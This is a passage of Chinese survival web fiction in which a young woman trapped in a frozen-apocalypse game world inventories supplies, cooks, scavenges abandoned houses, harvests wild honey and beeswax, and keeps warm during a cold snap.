毛巾16条、浴巾8条。这也足够她用很久了。崭新的毛巾,用热水浸湿后擦拭身体,那种柔软触感无比舒服,而且也终于让她有替换的头巾和围巾
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了;浴巾虽然不会用来洗澡,但可以铺在床上当毯子,增加保暖。
卷纸和抽纸各16包。大量的卷纸和抽纸也拯救了她,之前只有背包里那一小包纸,让她用得无比节省,绝大多数时候都得用手帕,只有上厕所才敢小心翼翼地撕一小截。她还在担心什么时候会沦落到使用报纸应付她的屁股,但现在旅馆拯救了她的厕纸自由。
香皂2块、沐浴露洗发水各1瓶、身体乳2瓶、清洁剂1瓶。香皂可以用来清洗她的贴身衣物和其他脏衣服,而不是像之前那样清水对付一切;沐浴露和洗发水可能很难用上,但还是拿了点回来以备不时之需;身体乳可是有大用,这个可以勉强充当面霜和蛇油,保护她几近皲裂的皮肤;清洁剂则可以用来擦拭以后可能搬回来的旧家具。
牙刷牙膏各1支。旅馆不提供一次性洗漱工具让她很是失望,但幸运的是最后在迈克的房间里翻到了这一套未开封的存货,这些藏在电视柜的最底下,大概是迈克自己囤了又忘带的。全新的状态让禾小满非常满意,不然她实在无法克服心理障碍,去用别人的牙刷。
扫把1把、垃圾桶2个、垃圾袋1大提、塑料桶1个。这些都是她从楼梯转角的布草间兼保洁房找到的,各有各的用处。扫把和垃圾桶可以用来打扫安全屋;垃圾袋一半用来装她自己产生的垃圾,另一半用来外出打包物资;塑料桶洗干净后,则用来作为收集雪水的容器。
这次旅馆之行,薅的这些洗漱用品让她的生活品质焕然一新。虽然本质上还是风餐露宿,但她至少有条件能注重一下个人卫生了。
除了洗漱用品,就是各类工具。有一整个工具店做她的后勤保障,斧头、撬棍、锯子、螺丝刀等各种工具她现在一应俱全,只是可惜因为安全屋内的柜子和架子实在不够用,只能暂时委屈它们先在地上呆着了。
再然后就是最重要的食物储备。她现在的食物储备还是以杂货店购买的那些为大头,从垃圾桶和旅馆捡到的东西只能作为补充。她这10天也都是优先消耗垃圾桶里捡的临期过期食品,等它们消耗完了才开始吃杂货铺购买的稳定储备。
燕麦片12包、红薯土豆2袋、普通饼干2包、压缩饼干18包、过期奶粉1.5条、樱桃萝卜4个、腊肉1块。这些有的是买的,有的是捡的,都已经被消耗了一部分,是她目前日常食用的。
午餐肉罐头、黄油、巧克力,各有4份。这是她最贵重的战略储备,至今还没舍得开封。
还有一些杂七杂八的,比如今天刚搜刮到的矿泉水饮料,和迈克房里的那些调料,之前也在学校和垃圾桶搜到过糖果和其他小零食,但都是零零散散的,不好计数。
最后就是她陆续捡回家的各种零碎物品,这部分非常庞杂,从打火机到易拉罐,从旧书到玩具车,只要她觉得可能有用的,基本都捡了回来。幸好安全屋空间还算宽敞,有足够的角落给她堆放这些宝贝。
这么一清点,自己拥有的东西也不少嘛!光是整理归类,就花了她不少时间。
禾小满心满意足地擦了擦额头上的汗,虽然这几天给她累的够呛,但不知不觉中,她也像一只勤劳的小蚂蚁,一点点地为自己搬回了一个像样的小窝。
之前老人家常说,金窝银窝都不如自己的狗屋,她那时候还不理解。但她今天站在房间中央,环顾着周围她一份一份亲手收集整理起来的物资时,才真正明白了这句话的含义。
没有什么比依靠自己的双手,建设一个独属于自己的安全屋更让人心安幸福了,不是吗?
13. 【极寒天灾】
“I see the crystal raindrops fall“
“And the beauty of it all”
“Is when the sunes shining through”
……
优雅的曲调悠悠传来,萨克斯的演奏也恰到好处,每一个音符都像裹着丝绒,令人不自觉沉醉。恍惚间,仿佛自己身处某个高档西餐厅,烛光摇曳,香风阵阵,西装革履的经理正含笑致意,舞台上的歌手微闭双眼深情吟唱,而那位穿着白衬衫的服务员,也恰好端上了今日的omakase:
“前菜雪碧渍樱桃萝卜。”
“副菜俄式罗宋汤。”
“主菜炭焗红薯。”
“餐后饮品是本店的特制分子料理——雪水转白开水。”
禾小满坐在灶台前,悠闲地处理着今天的早餐。坐落在月桂路233号的小·满· la nourriture délicieuse餐吧的主厨是她、顾客是她、餐饮总监、洗碗工和氛围组乐队,统统都是她。
穿越到副本的这么多天,天天不是啃饼干就是泡燕麦,吃得她嘴巴都快失去知觉了。不隔三岔五搞点花样犒劳一下自己可怜的胃,这末世生活真的毫无盼头,感觉日子都要过不下去了。
樱桃萝卜洗净切掉头尾,切成两毫米的薄片。将萝卜放入碗中,加入一勺盐、一勺糖,腌十五分钟,杀出水分。之后将腌好的萝卜放入碗内,加入适量白糖及一罐雪碧。搅拌均匀后密封,放在室内静置一夜即可。
当然,这是简化版本的雪碧樱桃萝卜,比起标准菜谱少了柠檬片和小米辣,而雪碧也已经是冰沙的状态,但禾小满依然吃得津津有味。本来樱桃萝卜冻了这么多天,早冻蔫了,口感也变得奇怪,不再有最初的的甜味,苦味和辣味反而突出。但经过她这么一折腾,萝卜和雪碧混合之后,不仅异味和涩味全无,反而变得冰冰凉凉、酸酸甜甜、清脆爽口。
……就是实在太冰了,每吃一口,禾小满都感觉自己体内的热量在疯狂的流失。
至于罗宋汤,则已经不是简易版了,而是丐帮版——没有牛肉没有洋葱没有胡萝卜没有番茄没有甜菜,禾小满只能有什么用什么:锅里小火,融化一小块黄油,挖一点午餐肉切丁下锅翻炒,然后挤入番茄酱,加入切好的土豆块,倒入开水煮10分钟,最后撒点盐和黑胡椒,关火出锅。
尽管缺东少西,禾小满却相当满意。一口下去,番茄酱的酸甜味,加上一点点黑胡椒的辛辣,充分刺激着口腔和食道。土豆煮得软糯粉面,而那寥寥无几的午餐肉丁,更是成了汤中的瑰宝。
而烤红薯就更是简单粗暴。红薯洗净直接放在炉边烘烤,即使烤到外皮焦黑也不打紧。轻轻掰开,一缕热气在空中升腾,露出内里软糯香甜、金黄诱人的薯瓤。一口下去,那扎实的甜味和温暖的口感,仿佛整个冬天的寒冷和饥饿,都被它驱散了。
幸福啊幸福!果然女人只有吃饱了才有力气讨生活!
禾小满摊在灶台前的椅子上,小口啜饮着杯子里温热的水,耳边的爵士乐仍未停歇,回荡在整个房间里。
在连着听了好几天的新闻后,她实在厌烦了。天气越来越冷,新闻里报道的糟心事一天比一天多:由于基础设施已被破坏,电网负荷早已不堪重负,加上这反复无常的恶劣天气,维修工作陷入了“修了坏,坏了修”的死循环。据播报,全联邦有近二分之一的区域已经陷入停电。
一个重要的原因是,这场灾难是突然性的、席卷性的。现在才十月中旬,按往常顶多是深秋,可这场诡异的寒潮无差别地袭击了全联邦。从市民到国会,根本没一个做好准备的,于是烂摊子就像雪球一样,越滚越大。
新闻里不是报道哪里冻死了多少人,就是哪里又爆发了抢劫暴乱,时而穿插着政府官员信誓旦旦的保证,和气象专家忧心忡忡的提醒,听得人无聊极了。
还好,经过禾小满一番捣鼓,终于在收音机里找到了一个音乐频道。现在每天,她都能听着或舒缓或欢快的曲子佐餐,算是灰暗末日里一点小小的奢侈。
说到佐餐,她现在捡垃圾的收获大不如前,真的是没法从垃圾桶里捡到任何食物了。第一次捡垃圾时那种丰收的盛况,恐怕再难复现。
如今人和车越来越少,没走的人也都两眼发绿地盯着那几个垃圾桶。如果不是因为垃圾桶里偶尔还能捡到些工具和杂物,再加上为了练级,禾小满都有点懒得去翻了。
她现在学乖了,骰子点数低的时候,就老实呆在家里猫冬,或者就近砍砍树;骰运好的时候,才去旅馆和学校转转。虽然这两个地方已被她搜刮过不止一遍,但耐心点,总能再找到点被遗漏的东西。
今天是掷出了三点,不高不低。禾小满还是又去了一趟学校,慢慢地撬了些砖头回来,打算搭个更大的灶台。
她最近还在试着寻找粘合剂。学校花坛那里没找到石灰,她在镇上又转了几圈,同样一无所获。于是她萌生了自己挖泥巴制作粘合剂的念头——冯阿婆当初就提过,可以用黄泥来粘合砖头。
尽管觉得颜色和质感好像和冯阿婆提过的黄泥不太一样,她还是从学校的草坪上费劲地挖了些土回来,准备死马当活马医,试了再说。
骑车回家的路上,天色愈发阴沉,忽然就刮起了一阵妖风。风势极大,吹得三轮车上的防水布哗啦啦作响,几乎要被掀翻。车龙头也开始把持不住,左摇右摆,她整个人更是用尽吃奶的力气也蹬不动踏板。
算了算了,小命要紧。禾小满当机立断,赶紧就近找了个没人的院落,使劲把车推了进去,暂避风头。在刚才的路上再骑下去,恐怕真要给她连人带车被吹跑了。
院子里的房子很旧,光看外表就看得出来岁月和风雪的痕迹:门框窗框的漆皮早就掉了个干净,木头也断裂得不成样子,窗户上更是破了一个大洞,嗖嗖地灌着风。
有人住没人住的差别很大,同样是老房子,住户的总会想办法修缮一下自己的家,屋里也透着点人气;但这房子风吹日晒的,破败程度明显不一样,里面的人肯定早就搬走了。这也是禾小满敢放心进来躲避的原因。
她透过窗户上的破洞观察着里面,黑漆漆,空荡荡,家具都没几件,果然是人去楼空。这情景勾得她心里有点痒痒的,想进去看看。
……也不是为了捡垃圾,就是单纯想去别人家做做客而已。
使劲把那扇破窗户推开,禾小满背好背包,揣稳工具,手脚并用地从窗户蹦了进去。
屋里果然是一派废弃景象。这是一栋两层的小别墅,室内积满了厚厚的灰尘,空荡得只能听见禾小满的脚步声。零星几个柜子歪倒着,地上还散落着主人搬家时没清理干净的打包工具:木框架、海绵、胶带、塑料布……以及各式各样的生活垃圾。<
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p>禾小满小心翼翼地绕过这些垃圾,先摸进厨房看了看。厨房的电器都搬走了,只有灶台上残留着些没带走的调料和油污,还有几瓶黑乎乎的、根本看不出原材料的酱料。
她拿起一瓶仔细辨认包装上的字迹,好家伙,过期十年以上了,任赛亚人吃一口也得给它整重开。除了拿出去下毒害人,她实在想不到任何其他用途。
禾小满摇摇头,嫌弃地丢开瓶子。
唯一能看得上眼的是一罐结块的盐。盐这玩意,纯度极高,没什么细菌能在上面生存。这东西或许还有点别的用处,不用来做饭也可以给她融个雪什么的。
转身沿着吱呀作响的楼梯摸上楼,楼上只有三间小卧室,不出意外地也是灰尘遍布。
禾小满所在的这间似乎是房主女儿的卧室,墙纸虽然斑驳脱落,但还能看出原本的暖黄色和小碎花图案,窗帘也是淡粉色带蕾丝花边的,质感看起来不错,依稀能感受到昔日这里的温馨氛围。
地上散落着许多小女孩的衣物,但都已发黄发黑,一个化纤的衣物收纳袋更是风化成了碎片。
如果在这户人家刚搬走时摸进来,房间里的家具物品或许还能有些用处。但经过时间的腐蚀,大部分东西都已破败不堪。
连禾小满这样的拾荒大师都只能摇头叹息:this is true rubbish,白送都嫌占地方。
但正因为如此,那些能抵御住时间侵蚀的东西才显得难能可贵。就比如说,禾小满眼前的这张书桌。这应该是小孩子学习用的书桌,不大,但透过层层灰尘,依然能看到光洁结实的实木表面。外观没有任何破损,可以说只要擦擦灰清洁一下,就又是一条好汉,说不定能□□到再过十年继续用。
虽然书桌有点小,但禾小满非常满意它的质量。她早就想换掉安全屋内那张书桌了,真是系统出品,必属差品,每次往上面放点东西,它就摇摇晃晃,“嘎吱”声凄厉到仿佛她虐待了它似的。由此导致她每次放水杯都轻手轻脚,结果有次不小心手重了点,书桌猛地一晃,半杯水全洒了,气得禾小满当时真想猛踹书桌那条好腿。
幸亏这张实木书桌不大,禾小满才能一个人搬得动。经过一番磕绊,总算吭哧吭哧地把它弄到了一楼。也正是这时,地上那些被遗弃的打包工具如此耀眼,木框架、海绵、胶带、剪刀一应俱全。
……连打包材料都给她备好了,不拿走都对不起原主人的一番美意。
她熟练地用这些现成的工具,将书桌打包固定在三轮车上。注意到外面的风雪似乎小了一些,禾小满也不敢多留,趁着能走,赶紧蹬车往回赶。
虽然三轮车再次沉重无比,但禾小满心里却美滋滋的。家里又多了一件像样的家具,真不错。
果然,既然点了拾荒这个技能树,就是要走到哪捡到哪,何必拘泥于垃圾桶那方寸之地。
据禾小满估计,像这样的废弃房子,小镇里少说也有几十栋。要是每一栋都这样搜刮一遍,光靠捡家具,说不定也能给她勉强凑个宜家的样板间。
“唉,禾小满,你怎么堕落成这样了。”她边蹬车,内心边忍不住谴责了一下自己,“这分明是鸠占鹊巢、趁火打劫啊……” 想当年,她也是个在自助购物机前都会自觉给超市购物袋付款的文明人来着。
世风日下啊!
人心不古啊!
……
所以,啥时候踩点一下,多搬几家?
14. 【极寒天灾】
【今日运势判定:吉。运气上扬,事半功倍。心中所愿,多有成算。】
当骰子在桌面上转了几圈,最终定格在鲜红的五点时,禾小满几乎要怀疑是自己眼花了,或者骰子被冻出了问题。
在进入副本的第18天,她的骰子第一次掷出了5点。
经过前面17天的密切观察,禾小满稍微总结出了【命运骰子】的一些规律。首先,这骰子其实还挺“稳重”的,这么多天里,掷出最多的就是3点,让她的运气值一直维持在不好不坏的正常人状态。其他时候也只是浅浅给她抛个二或者四点,总体来说,相当克制。
其次,骰子的运气影响似乎是有极限的。尽管【命运骰子】的技能效果听起来很唬人,甚至能影响【拾荒者的嗅觉】,但这种运气限于一种合理的范畴内。在高点数下,她捡到的东西,属于“哇运气真好这玩意竟然没人发现”的程度,而不会凭空变出个天顶星科技送给她。在低点数下的倒霉,也多是可以预测和规避的麻烦,而不至于刚出门一道雷给她劈死。
这么看来,系统给的这个道具还算不错,绝对是利大于弊的存在。不过对于另一个道具【垃圾夹】的开发,一直毫无进展。她这么多天干垃圾湿垃圾各种垃圾都夹了个遍,可【垃圾夹】依旧毫无反应,真让她摸不着头脑。
借着骰子5点的好运光环,禾小满决定去个新地方探索一下——南边的山。
这个地方她迟早得去,因为眼下在镇上砍树已经有些不便了。
留下来的小镇居民们,在生存压力下也迅速形成了自己的一套生活哲学。空调成了摆设,大家便都和禾小满一样,加入了烧柴取暖的大军。
如今街道上砍树的不再是她孤身一人,有时站在这头,能远远望见街道另一头也有身影在挥舞着斧头。寒风刺骨的冬日,呵气成霜的天气里,所有人都很沉默,以一种心照不宣的默契彼此避开,只在各自选定的范围内默默劳作。
木头是种实打实的消耗品。以70厘米深的圆筒壁炉为例,以栎木作为燃料的话,加一次柴大概能烧60到80分钟,每8小时就要消耗掉20公斤以上的木柴。而禾小满虽然睡觉前会熄灭灶台,但白天用灶台做饭加上取暖的时间,也超过了4小时,一天保底要烧掉10公斤木头。
况且,木柴并不等于砍下来的树木。在送进灶台前,她得对树木进行处理,去除湿叶和积雪的枝桠,尽量选取干燥的部分,每次处理至少会损失一棵树10%的重量。像那种碗口粗的小树,她每天保底要消耗一棵半。
资源如此紧张,大家砍树时互相避开也就很好理解了——木头是紧要资源,挨得太近容易起摩擦,而砍树的人都人均一把利斧,正所谓身怀利器杀心自起,还是保持安全距离为妙。
禾小满不确定小镇上的树够不够他们剩下的人消耗,但未雨绸缪总是没错的。在镇上的柴火被砍光之前,她需要开辟新的资源点。
南边的山,就是不错的选择。
冯阿婆当初说得没错,南边确实荒凉得很。禾小满从她的安全屋出发,骑了将近两个小时才抵达山脚下,一路上别说人家,连个鬼影都没见着。
抵达山脚,在禾小满眼前出现的是一片寂静的冬日山林。曾经绿意盎然的山坡,如今只剩黑灰色土地和皑皑白雪。高大的松树、柏树、杉树顽强挺立着,墨绿色的树冠承载着厚厚的积雪,如同一列沉默的哨兵。林间寂静无声,只有风吹过树梢带落的雪花发出簌簌轻响,一种荒凉但纯粹的美感油然而生。
对于人类而言,这是末日的灾难。但对于大自然本身,这只是一次短暂的休息和轻松的玩笑。
禾小满驻足欣赏了片刻,轻轻叹了口气,提上斧头和背包,向山林走去。如果不是生存的压力像鞭子一催促着她,她倒是很愿意多沉浸在这片静谧的美丽之中。
最外围的山坡不算陡峭,但积雪覆盖下藏着许多树根和石头土块,走起来也是深一脚浅一脚的。禾小满走得很小心,最后找了一处相对平坦的地方,停了下来。
卸下背包,又脱掉了最外层碍事的雨衣,确保身体活动自如后,禾小满甩了甩胳膊,举起斧子,正式开始了今天的体力劳动——砍树。
砍树是个不折不扣的体力活,她之前在小镇里砍伐那些观赏树木时,就对此有了深刻体会。如今面对山林里这些自然生长、个个膀大腰圆的原住民,这种感受就更是强烈。禾小满只能尽量挑选那些相对细一些、小一些的树木下手,这样她砍起来省力,也方便后续处理。
砍伐这种大树也颇有讲究。她先在树干离地面七八十厘米的高度,选定了基准线,然后挥舞斧头,一下下砍向基准线。斧头挥舞的方向还不能是横向的,得是斜向的。在选定的基准线附近,上下交替挥砍了几十下后,终于砍出了一个深度接近树心的楔形缺口。接着,禾小满转到树的另一面,在同样的高度重复以上操作,砍出一个角度更大更宽的楔形缺口。
最关键的放树环节,禾小满格外小心。在砍断最后连接着的树心前,她提前挪回了最初的位置。当最后一斧落下时,树干应声而落,就在树干倾斜倒下的瞬间,禾小满迅速向反方向窜出去好几米远,直到确认不会被砸到才停下脚步。
树放倒了还不算完,她还要在山林里把这树分割成几截,至少得缩短到三轮车能装得下的长度,这又是一个考验耐心和力气的大工程。
处理第一棵树,就花了她两个小时,累得她手臂酸麻,几乎抬不起来。
在游戏里一键就能砍倒的树木,在现实中需要前后上百次的奋力挥砍。但还不砍不行,不砍她冬天就没柴烧了。
禾小满只能砍一会歇一会,砍累了就一屁股坐在树桩上喘口气。她还细心地在旁边的树上挂了片防水布,这样休息时有个遮风挡雨的地。饿了就啃两口压缩饼干,渴了喝自带的白开水。
……就算光头强也没那么惨啊。
她此刻无比羡慕光头强,人家好歹还有个电锯呢。要是他也像她一样,全靠一把斧头吭哧吭哧地硬砍,怕是树都长出来人还没砍完呢。
抱怨归抱怨,活还得干。就这么一直砍到下午四点,砍得禾小满的手臂都不是自己的了。从早到晚砍了六七个小时,她估摸着今天砍下来的木头,怎么得也够她用一个星期了。
“砍完这最后一棵,今天就收工!”禾小满给自己打气,她看看背后的一堆木头,再看了眼选定的树,颤颤巍巍的拿起斧头。
和其他的树别无两样,这也是一棵茂密粗壮的雪松,绿色的枝叶上积满了雪。禾小满绕树转了一圈,正准备下斧头时,目光却被树干上一处不太寻常的地
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方吸引了。
这是什么?灰褐色的树干上,有一块颜色和纹理与周围树皮明显不同的区域。
她凑过去,用手轻轻拨了拨,拂去了表面的雪和一张薄如蝉翼的“树皮”,露出了下面隐藏的宝物——蜂巢!
这原本是一个不大不小的树洞,不知何时引来了一窝蜜蜂在此安家筑巢,结果今天竟被好运加持的禾小满发现了。
蜂巢,这可是好东西。其中最重要的东西就是蜂蜜,蜂蜜的作用与好处不胜枚举:富含糖类、蛋白质、氨基酸、酶类、维生素等多种成分,具有润肺止咳、润肠通便、缓解疲劳、美容养颜等功能,是个天然的营养宝库。
除了蜂蜜,由蜂巢提炼出的蜂蜡也是宝贝。蜂蜡具有抗菌消炎和解毒止痛的药用价值,而且它还是一种天然的柔润剂和乳化剂,常用于护肤品领域。此外,蜂蜡也可以用来制作蜡烛,燃烧时会散发天然的蜜香,比一般的石蜡蜡烛更健康环保。
就算抛开以上所有高大上的好处不提,单凭“蜂蜜”这两个字,就足以让啃了许久压缩饼干的禾小满下定决心,一定要把这个蜂巢搞到手。
野生的蜂蜜唉,吃起来不知道得有多香甜!光是想想,嘴巴里就开始自动分泌唾液了。
禾小满立刻行动起来,紧了紧脸上的毛巾面罩,又从背包里翻出橡胶手套仔细戴好。她先从松树上砍了一小截枝桠,掸掉雪,用打火机点燃。待松枝冒出缕缕松烟后,她才小心翼翼地将其凑近蜂巢的入口。
蜂巢上原本密密麻麻地爬着一圈正在越冬的蜜蜂,松烟一熏,半数蜜蜂顿时被惊扰,被烟呛得晕头转向,嗡嗡地四处乱飞。禾小满耐心地调整着松枝的角度和距离,尽力将这些原住民驱散。
还有一部分蜜蜂仍旧趴在蜂巢上,任凭烟雾缭绕也不肯挪窝,这些就只能靠她手动清除了。禾小满确认手套扎严实后,鼓起勇气,慢慢地抓起蜂巢上的蜜蜂往外抛。剩下的蜜蜂似乎比较温顺,没有出现一抓一哄而散的现象,但不时也有几只蜜蜂在她指间爬动,看得她心里发毛。
来回折腾了好几次,总算把大部分蜜蜂都请走了。禾小满这才松了口气,用刀将树洞里的蜂巢割下。
她总算知道今天骰子的五点是怎么来地了,绝对是因为这个蜂巢。蜜蜂是一种需要蛰伏过冬的昆虫,通常它们都是在三到七月的春夏季节酿蜜。而能酿冬蜜的蜂种,也多分布在南方无霜或霜期短的地区。
按常理,在这个季节、这个温度下,禾小满是找不到蜂蜜的。零下20℃的严寒,蜜蜂一不小心就冻死了。即使侥幸找到蜂巢,大概率也只是一个被吃空了的空巢,绝不会像现在这样,蜂巢里还储存着满满的蜂蜜,甚至在她打开树洞的第一眼,就能看到缓缓渗出的的蜂蜜。
禾小满掂量了一下到手的蜂巢,估摸着得有四五斤重。她小心翼翼地用刀尖划开蜂巢的外壁,从里面割了一小块蜂巢蜜,迫不及待地送入嘴中。
一股浓郁的甜味瞬间席卷了味蕾,这甜味纯粹自然,毫无人工糖精的腻感,夹杂在其间的,是复杂的花香气息,仿佛山野间的百花精华都浓缩于此。蜂蜜口感醇厚丝滑,顺着喉咙一路滑下,甜到了心里,连带着砍树积累的疲惫似乎都被这份甜蜜抚平了些许。
感谢骰子大神!让她也体验了一把当熊二的快乐。
15. 【极寒天灾】
处理蜂巢是一件幸福又麻烦的事情。
橙棕色的蜂巢又大又重,表面还黏附了一些泥土、树叶以及小蜜蜂的尸体。禾小满的第一个任务就是充当外科医生,用小刀和镊子挑开这些杂质。待杂质被清理干净后,就可以开始挤蜜了。
用刀将蜂巢切割成大小适中的块状,找个洗刷得锃亮的大碗,将蜂巢块放入碗中。用勺子使劲碾碎它们,直到蜂巢变成一团团黏糊糊的渣渣,就得到了一碗蜂巢蜂蜜混合物。
接下来就是过滤环节。将这碗混合物倒在准备好的干净纱布上,提起纱布四角,形成一个简易滤袋,悬空架在广口瓶上,看着那些从纱布中渗出的金黄色液体,一滴一滴汇聚到瓶底,禾小满的心情也跟着一点点明亮起来。它们就是蜂蜜,是她甜美的战利品。
而留在纱布里的蜂巢残渣,就是提取蜂蜡的原料。
将残渣连同纱布包好,放入装满水的小锅,加热小锅时,偶尔用棍子搅拌一下锅里,等到锅中冒出泡泡,水面上漂浮起一层泡沫状的融化物,便可以停火。
接着,将锅中的东西倒入由细铁丝网和纱布组成的双层漏勺,底下用小碗接住过滤出的液体。液体的颜色颇为奇妙,介于汇源果汁和三九感冒灵之间,是一种暖融融的橙黄色。最后,就是等待这碗水静静沉淀分层,最上层不溶于水的蜂蜡逐渐凝固,与水彻底分隔开后,就可以取得蜂蜡了。
禾小满把玩着碗里黄澄澄、宛如肥皂的蜂蜡块,不由得感叹它们的来之不易。
以上操作都不难,对于手工能力已经在副本实践中大大进步的她来说,都是小Case了。困难之处在于,如何凑齐这些过滤和加热的工具。要不是她有捡垃圾的好习惯,一时半会还真凑不齐这套土法提炼设备。尤其是考虑到蜂蜜的食品安全,用来过滤蜂蜜和蜂蜡的纱布,更是被她反复清洗过无数遍后才被允许上岗。
而这些忙活半天才取得的蜂蜜,在此刻派上了大用场。
气温是毫无预兆骤然下降的,而她的月经,也像是约好了一样,忽然来访。
这是她在副本里经历的第一回月经,不过禾小满倒不怎么紧张,卫生巾她早已备好,只当是按正常生活来。
值得庆幸的是,系统虽然没屏蔽月经这项生理功能,但天赋【顽强生机】似乎对她的体质进行了一些改善。按道理,冰天雪地的活动、风餐露宿的条件加上营养单一的饮食,很容易导致严重的痛经,但禾小满竟然只感觉到微微的一点不适,并不太影响日常活动,总算让她感受到了坑爹系统的一点良心。
不过,就算不痛经,她也决定要好好爱护自己的身体。她暂时停了出门的活动,专心致志地宅在安全屋里,进行一场应对降温和生理期的“居家改造”。
气温这几天突然跌到了零下二十五度,虽然禾小满还可以忍受,不过她还是要先做点准备,为了应对以后更冷的天气。
首先是改造床铺。之前因为找到被子而被替换下来的窗帘,她没舍得丢,现在果然派上了大用场。想起以前在宿舍住宿时,床帘在冬天起到了一定的御寒作用,而古人那些层层叠叠的床帐似乎除了用于隐私也是用于保暖,禾小满决定动手做一个能罩住整张床的床帘。
还是要感谢她前二十天孜孜不倦捡回来的那堆破烂,她很快就翻出了对应的材料——晾衣杆、塑料棍、铁丝、尼龙绳、扎带。她用这些材料加砖头底座,愣是搭出了一个床帘框的雏形。然后,将裁剪好的窗帘披上去,一个简易版的保温床罩就完成了。
别说,加上这个罩子,之前若有若无的窗缝冷风都被阻隔了,睡觉时确实暖和了一些,她的睡眠质量也提升了不少。
……可喜可贺,她终于完成了从草皮卷到毛皮铺盖再到帐篷的升级,现在可以更好地消耗饥饿值回复san值和生命了。
第二个取暖妙招是自制热水袋。为了这个热水袋,禾小满可谓绞尽脑汁,尝试了各种方案。最初她用的是最朴素的矿泉水瓶加热水,效果尚可,但水温下降有点快,常常到了后半夜就不热了。不甘心的她尝试过各种瓶子和各种填充物,结果发现,还是这款最基础的最好使,只能作罢。
现在,她每天临睡前都会灌好两个热水瓶塞进被窝,一个暖脚,一个抱在怀里。虽然续航能力有限,但至少能保证前半夜被窝是暖烘烘的,帮助她更快入睡。
第三个小妙招,是她在改进热水袋时意外发现的。当时她尝试用炒热的沙子做填充物,但沙的比热容小,凉得比水还快,方案只能泡汤。
但在炒沙的过程中,禾小满有了灵感——艾灸,不是,是沙灸。
把炒好的热沙分成几个小份,用棉布包好、扎紧,做成一个个可以灵活贴合身体的热沙包。将这些热乎乎的沙包敷在腹部、后腰
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、膝盖等容易受凉的部位,不一会儿就能感觉到热力渗透,敷到皮肤微微发红、出一层薄汗时,积攒在身体里的寒气似乎也被驱散了不少。
……果然,现实里的养生她嗤之以鼻,副本里的养生她逐字学习。真香定律,虽迟但到。
就这样,一边啜饮着充当红糖水的蜂蜜水,一边慢悠悠地在安全屋里东摸摸西敲敲,禾小满顺当地度过了月经初期最难挨的几天。
等后面几天月经量没那么大了,禾小满便试着出门,恢复日常活动。
她现在出门的穿着,是认真参照过“三明治穿衣法”原则的:
内层是贴身层,选择速干、羊毛或纤维宿纤维混纺的保暖内衣,厚度要适中,既要保证保温,又有避免过厚导致活动不便或闷汗潮湿。
中层是保暖层,选择毛衣、抓绒服、轻型羽绒马甲等蓬松衣物,利用衣物纤维锁住空气,形成保温层,同时要避免过于紧身影响空气流通。
外层是防风层,选择梭织面料或无纺布的冲锋衣、羽绒服,主要任务是抵御寒风侵袭,长度最好能盖过臀部。
除此之外,禾小满每次出门还会在外面套上一件厚厚的橡胶雨衣,这主要是为了防止雪花沾湿里面珍贵的保暖衣物。橡胶雨衣使湿了也不怕,回室内一脱、用布一擦就干,能最大限度地保护她的核心装备。
头巾、围巾、手套、护膝禾小满也是一个不落。尤其是鞋子,禾小满深知病从口入,寒从脚入这个道理,对她的鞋子进行了重点保护。橡胶雨鞋里面,除了穿上好几层袜子外,还垫了不止一层鞋垫,甚至塞进了用布条和海绵自制的填充物,努力把每一寸可能进风的空间都堵上。为了生存,禾小满也是不得不学会了用纸壳和布料纳鞋垫。
虽然迫于生活压力要出门打野维持生计,但禾小满在生理期期间还是很有自知之明地暂停了砍树这类重体力活,转而在小镇的各个角落和废弃房屋里进行强度较低的捡垃圾工作。
正所谓“书到用时方恨少,DIY 时找不到材料才会恨自己怎么没有多捡一些”。
从一堆垃圾中又翻出一件件宝物,慧眼识金的禾小满擦擦脸上的灰尘,打着手电筒仔细检查了它们的完好程度,看了又看,满意得不得了。
她不仅都想夸自己,简直是捡垃圾的天才。
果然,今天的小满也有在好好生活呢。
16. 【极寒天灾】
清晨,禾小满推开门,一股凛冽的寒气扑面而来。映入眼帘的,又是一个被白雪重新粉刷过的世界。积雪一夜之间又厚了十几厘米,几乎要没过安全屋的门槛。
现在是进入副本的第30天,气温也已经降到了零下30摄氏度。按照这个降温节奏,等到副本第60天时,温度岂不是要直奔零下60摄氏度而去?这是个她只在气象新闻里听说过的数字。
如今的零下三十摄氏度,也是禾小满几乎无法想象的温度。没想到,从未在北方生活过的她,靠着一点运气、一堆破烂和身份技能的辅助,竟然真的在没有空调没有暖气的极寒中,磕磕绊绊地活过了整整一个月。
在彻骨的寒冷面前,人类的生活节奏和方式也都进行了改变。就比如眼下,禾小满正准备进行的的日常活动——扫雪。
这些雪花看似轻盈,但任由它们不断堆积而不清理,很快就会变成阻碍出行、甚至威胁安全的麻烦。
首先要处理的就是屋檐下那一排排倒悬的的冰溜子。这些晶莹剔透的冰溜子,挂在屋檐下,像极了童话里冰雪宫殿的流苏装饰,煞是好看,阳光照上去时,甚至会折射出七彩的光晕。若是小时候掰了这么一根,准把它想象成+14暴击率的附魔冰剑,要是能从中找到一根特长特直的,带到学校非得跟小伙伴吹上半天不可。
但是好看归好看,这些美丽废物同时也是不定时的炸弹。每年都有行人被冰溜子砸伤的新闻,甚至她还听说了学生被冰溜子砸死的报道。禾小满可不敢大意,她现在每隔几天就要清理掉这些悬挂的威胁。
等好不容易用晾衣杆把冰棱都敲掉了后,她又要马不停蹄的进行另一项工作:清理屋顶的积雪。
小镇这些带着尖顶和小窗的别墅,在厚厚白雪的覆盖下,确实像极了童话书里的插画,宁静而梦幻。而屋顶那层厚厚的雪,则像一顶雪帽子,看起来甚至有点可爱。但这份可爱的背后,隐藏着的是实打实的危机:积雪的重量一但超限,可是有压垮屋顶的风险。
禾小满把梯子搬进院子,倚在房屋的侧面,骑在梯顶用工具去清理屋顶的积雪。她手里的工具有点类似煎饼果子摊的刮板,不过放大放长了N倍。
幸好她前几天清理过一次房顶,现在的积雪不算太厚,大概只有二十厘米。新雪蓬松,处理起来不算太困难,至于最底下挨着房顶的那层雪,已经被压实了,禾小满也没办法,只能随它去了。
在屋顶四周来回折腾了好一阵,总算把主要的积雪区域清理了一遍。等到禾小满从梯子上爬下来,只感觉腰背都不是自己的了。但她没有立刻回屋歇息,而是转身从屋里拿出了抹布和几个小瓶子,走向院子里那个用破木板和防水布搭成的简易车棚。
尽管她不能像奥迪A8的车主给爱车购置专属的车库,但起码能给她的奥运A88小三轮弄个停车棚。小小的三轮呆在小小的棚子里,倒是颇有点“物随其主”的感觉。
禾小满揭开防水布,熟练地用干布擦拭着车把、刹车线、链条和辐条上的雪水和冰碴,然后掏出从工具店顺的的润滑油和防冻液,熟练的给各个关键部位上油。
